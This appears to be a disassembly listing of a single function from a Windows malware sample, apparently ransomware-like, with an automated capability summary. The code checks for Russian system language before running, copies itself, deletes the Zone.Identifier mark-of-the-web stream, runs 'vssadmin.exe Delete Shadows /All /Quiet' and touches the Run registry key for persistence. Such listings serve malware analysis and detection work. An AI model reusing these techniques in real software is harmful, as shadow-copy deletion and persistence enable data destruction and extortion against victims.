Function at 0x404a87
Capabilities:
Bypass mark of the web
Copy file
Create thread
Delete file
Delete registry value
Delete volume shadow copies
Identify system language via api
Persist via run registry key

Disassembly:
mov eax, 0x41226c
call fcn.00410b94
sub esp, 0x114
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], esp
cmp dword [0x41c038], edi
jne 0x404abb
mov ecx, dword [ebp - 0xc]
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x10
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x403ab3
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0040708b
push str.Wow64DisableWow64FsRedirection
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x404af7
lea ecx, [ebp - 0x14]
push ecx
call eax
mov dword [ebp - 4], edi
mov esi, dword [0x41c038]
add esi, 0xf
push 0xf
pop ebx
mov eax, esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
mov byte [ebp - 0x38], 0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404b15
sub eax, ecx
mov edi, eax
push esi
lea eax, [ebp - 0x38]
call fcn.0040616a
test al, al
lea eax, [ebp - 0x38]
je 0x404b3c
push edi
sub esi, eax
push esi
push eax
call fcn.004065f0
jmp 0x404b72
push 0
push edi
call fcn.00406584
test al, al
je 0x404b72
cmp dword [ebp - 0x24], 0x10
mov eax, dword [ebp - 0x38]
jae 0x404b54
lea eax, [ebp - 0x38]
push edi
push esi
push eax
call fcn.0040ff50
mov eax, dword [ebp - 0x38]
add esp, 0xc
cmp dword [ebp - 0x24], 0x10
mov dword [ebp - 0x28], edi
jae 0x404b6e
lea eax, [ebp - 0x38]
mov byte [eax + edi], 0
mov byte [ebp - 4], 1
mov esi, dword [0x41c038]
add esi, 0x3f
and dword [ebp - 0x44], 0
mov eax, esi
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0x54], 0
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404b8f
sub eax, ecx
mov edi, eax
push esi
lea eax, [ebp - 0x54]
call fcn.0040616a
test al, al
lea eax, [ebp - 0x54]
je 0x404bb6
push edi
sub esi, eax
push esi
push eax
call fcn.004065f0
jmp 0x404bec
push 0
push edi
call fcn.00406584
test al, al
je 0x404bec
cmp dword [ebp - 0x40], 0x10
mov eax, dword [ebp - 0x54]
jae 0x404bce
lea eax, [ebp - 0x54]
push edi
push esi
push eax
call fcn.0040ff50
mov eax, dword [ebp - 0x54]
add esp, 0xc
cmp dword [ebp - 0x40], 0x10
mov dword [ebp - 0x44], edi
jae 0x404be8
lea eax, [ebp - 0x54]
mov byte [eax + edi], 0
mov byte [ebp - 4], 2
mov eax, dword [0x41c038]
push dword [eax + 4]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.004084b4
xor ebx, ebx
add esp, 0xc
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0x54]
call fcn.00406714
push ebx
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0
call fcn.00406714
mov eax, dword [0x41c038]
cmp byte [eax + 0xe], 0
je 0x404c69
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov esi, 0x3ff
and ax, si
cmp ax, 0x19
je 0x404c60
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
and ax, si
cmp ax, 0x19
je 0x404c60
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and ax, si
cmp ax, 0x19
jne 0x404c69
or dword [ebp - 4], 0xffffffff
call fcn.0040714b
mov eax, dword [0x41c038]
mov eax, dword [eax + 8]
test eax, eax
je 0x404c82
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x38]
push eax
call fcn.00406e59
pop ecx
push eax
mov eax, 0x41ad1c
mov byte [ebp - 4], 3
call fcn.00406680
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040363a
push ebx
xor edi, edi
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 5
call fcn.00406714
push 2
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040371b
push eax
mov eax, 0x41ad38
mov byte [ebp - 4], 6
call fcn.00406680
push ebx
lea esi, [ebp - 0x54]
mov byte [ebp - 4], 5
call fcn.00406714
push 3
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040371b
push eax
mov eax, 0x41ad54
mov byte [ebp - 4], 7
call fcn.00406680
push ebx
lea esi, [ebp - 0x54]
mov byte [ebp - 4], 5
call fcn.00406714
push 5
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040371b
push eax
mov eax, 0x41ad70
mov byte [ebp - 4], 8
call fcn.00406680
push ebx
lea esi, [ebp - 0x54]
mov byte [ebp - 4], 5
call fcn.00406714
push 4
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040371b
mov byte [ebp - 4], 9
call fcn.004059a7
push 1
lea esi, [ebp - 0x54]
mov bl, al
mov byte [ebp - 4], 5
call fcn.00406714
test bl, bl
je 0x404d78
cmp dword [ebp - 0x64], edi
je 0x404c60
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x404c60
lea esi, [ebp - 0x98]
call fcn.004062c5
lea esi, [ebp - 0xc4]
mov byte [ebp - 4], 0xa
call fcn.00405f3f
mov byte [ebp - 4], 0xb
mov eax, dword [0x41c038]
cmp byte [eax + 0xc], 0
je 0x404e0d
mov eax, esi
lea ecx, [ebp - 0x98]
call fcn.00406ba7
test al, al
jne 0x404e0d
push 0x415ca0
mov eax, esi
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.0040575d
add esp, 0xc
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x24], 8
mov ecx, dword [ebp - 0x38]
jae 0x404dd6
lea ecx, [ebp - 0x38]
cmp dword [ebp - 0x84], 8
mov eax, dword [ebp - 0x98]
jae 0x404deb
lea eax, [ebp - 0x98]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x405080
push 1
xor edi, edi
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0xb
call fcn.00403304
cmp dword [0x41ad48], 0
jne 0x404e59
lea eax, [ebp - 0x38]
push eax
call fcn.00403f0e
pop ecx
push eax
mov ebx, 0x41ad38
mov eax, ebx
mov byte [ebp - 4], 0xd
call fcn.00406680
push 1
xor edi, edi
lea esi, [ebp - 0x38]
mov byte [ebp - 4], 0xb
call fcn.00406714
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x14], esp
push ebx
call fcn.004063cd
push 2
lea ecx, [ebp - 0x64]
call fcn.0040382f
cmp dword [0x41ad64], 0
jne 0x404f31
lea esi, [ebp - 0x118]
call fcn.00406dc2
mov esi, eax
lea eax, [ebp - 0xfc]
push 0x415ad0
push eax
mov edi, 0x41ad1c
mov byte [ebp - 4], 0xe
call fcn.004057ee
pop ecx
pop ecx
push str.actgettextlang
push eax
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 0xf
call fcn.00405865
pop ecx
pop ecx
mov ecx, esi
lea edi, [ebp - 0x54]
mov byte [ebp - 4], 0x10
call fcn.00405896
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x38]
push eax
mov byte [ebp - 4], 0x11
call fcn.00407ebf
add esp, 0xc
push eax
mov ebx, 0x41ad54
mov eax, ebx
mov byte [ebp - 4], 0x12
call fcn.00406680
push 1
xor edi, edi
lea esi, [ebp - 0x38]
call fcn.00406714
push 1
lea esi, [ebp - 0x54]
call fcn.00406714
push 1
lea esi, [ebp - 0xe0]
call fcn.00406714
push 1
lea esi, [ebp - 0xfc]
call fcn.00406714
push 1
lea esi, [ebp - 0x118]
mov byte [ebp - 4], 0xb
call fcn.00406714
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x14], esp
push ebx
call fcn.004063cd
push 3
lea ecx, [ebp - 0x64]
call fcn.0040382f
xor edi, edi
cmp dword [0x41ad80], edi
jne 0x40500a
lea esi, [ebp - 0x54]
call fcn.00406dc2
mov esi, eax
lea eax, [ebp - 0x38]
push 0x415ad0
push eax
mov edi, 0x41ad1c
mov byte [ebp - 4], 0x13
call fcn.004057ee
pop ecx
pop ecx
push str.actgethtmllang
push eax
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 0x14
call fcn.00405865
pop ecx
pop ecx
mov ecx, esi
lea edi, [ebp - 0xfc]
mov byte [ebp - 4], 0x15
call fcn.00405896
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x118]
push eax
mov byte [ebp - 4], 0x16
call fcn.00407ebf
add esp, 0xc
push eax
mov ebx, 0x41ad70
mov eax, ebx
mov byte [ebp - 4], 0x17
call fcn.00406680
push 1
xor edi, edi
lea esi, [ebp - 0x118]
call fcn.00406714
push 1
lea esi, [ebp - 0xfc]
call fcn.00406714
push 1
lea esi, [ebp - 0xe0]
call fcn.00406714
push 1
lea esi, [ebp - 0x38]
call fcn.00406714
push 1
lea esi, [ebp - 0x54]
mov byte [ebp - 4], 0xb
call fcn.00406714
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x14], esp
push ebx
call fcn.004063cd
push 5
lea ecx, [ebp - 0x64]
call fcn.0040382f
lea eax, [ebp - 0xa8]
push eax
call fcn.00409610
pop ecx
mov byte [ebp - 4], 0x18
mov esi, dword [ebp - 0xa8]
cmp esi, dword [ebp - 0xa4]
je 0x405119
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push 0x403ea8
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x18], edi
cmp eax, edi
je 0x4050fb
cmp eax, 0xffffffff
je 0x4050fb
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 0x19
call fcn.00405478
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x18], edi
je 0x40507b
cmp dword [ebp - 0x18], 0xffffffff
je 0x40507b
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0x1c
jmp 0x405021
push str.:Zone.Identifier
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.0040575d
add esp, 0xc
cmp dword [eax + 0x14], 8
jb 0x40509d
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0x54]
call fcn.00403304
sub esp, 0x1c
lea eax, [ebp - 0x38]
mov esi, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.00405f19
call fcn.004070d1
add esp, 0x1c
push ebx
lea esi, [ebp - 0x38]
test al, al
je 0x404e04
call fcn.00403304
push ebx
lea esi, [ebp - 0xc4]
call fcn.00403304
push ebx
xor edi, edi
lea esi, [ebp - 0x98]
call fcn.00403304
jmp 0x404d61
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x74], vtable.livsx.0
push 0x4172e0
lea eax, [ebp - 0x74]
push eax
call fcn.0040c1f5
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x14], esp
push str.vssadmin.exe_Delete_Shadows__All__Quiet
call fcn.00403446
call fcn.004070d1
add esp, 0x1c
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0x1a
mov eax, dword [0x41c038]
cmp byte [eax + 0xd], 0
je 0x405198
lea eax, [ebp - 0x14]
push eax
push 0x2000000
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
mov byte [ebp - 4], 0x1b
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40517c
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], vtable.livsx.0
push 0x4172e0
lea eax, [ebp - 0x7c]
jmp 0x405113
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x98]
call fcn.004059f2
mov dword [ebp - 4], 0x1a
mov esi, dword [0x41c048]
cmp esi, dword [0x41c04c]
jae 0x4051c2
push 0xffffffffffffffff
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esi, 8
jmp 0x40519e
sub esp, 0x1c
mov ebx, esp
mov byte [ebp - 4], 0x1d
and dword [ebx + 0x10], 0
mov dword [ebp - 0x14], esp
mov esi, 0x415c9c
mov dword [ebx + 0x14], 0xf
push esi
mov eax, ebx
mov byte [ebx], 0
call fcn.0040616a
test al, al
je 0x405208
cmp dword [ebx + 0x14], 0x10
jb 0x4051f7
mov eax, dword [ebx]
jmp 0x4051f9
mov eax, ebx
push 3
sub esi, eax
push esi
push ebx
mov eax, ebx
call fcn.004065f0
jmp 0x405239
push 0
push 3
mov eax, ebx
call fcn.00406584
test al, al
je 0x405239
cmp dword [ebx + 0x14], 0x10
jb 0x405221
mov edi, dword [ebx]
jmp 0x405223
mov edi, ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp dword [ebx + 0x14], 0x10
mov dword [ebx + 0x10], 3
jb 0x405235
mov ebx, dword [ebx]
mov byte [ebx + 3], 0
push 4
lea ecx, [ebp - 0x64]
call fcn.0040382f
mov eax, dword [0x41c038]
cmp byte [eax + 0xd], 0
je 0x405277
push str.opt321
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x405277
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], vtable.livsx.0
push 0x4172e0
lea eax, [ebp - 0x6c]
jmp 0x405113
mov dword [ebp - 4], 0x1a
mov byte [ebp - 4], 0x1f
cmp dword [0x41ad64], 0
je 0x405290
call fcn.004047cd
cmp dword [ebp - 0x1c], 0
je 0x40529f
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xa8]
push eax
call fcn.00405580
push 1
xor edi, edi
lea esi, [ebp - 0xc4]
call fcn.00403304
push 1
jmp 0x4050e9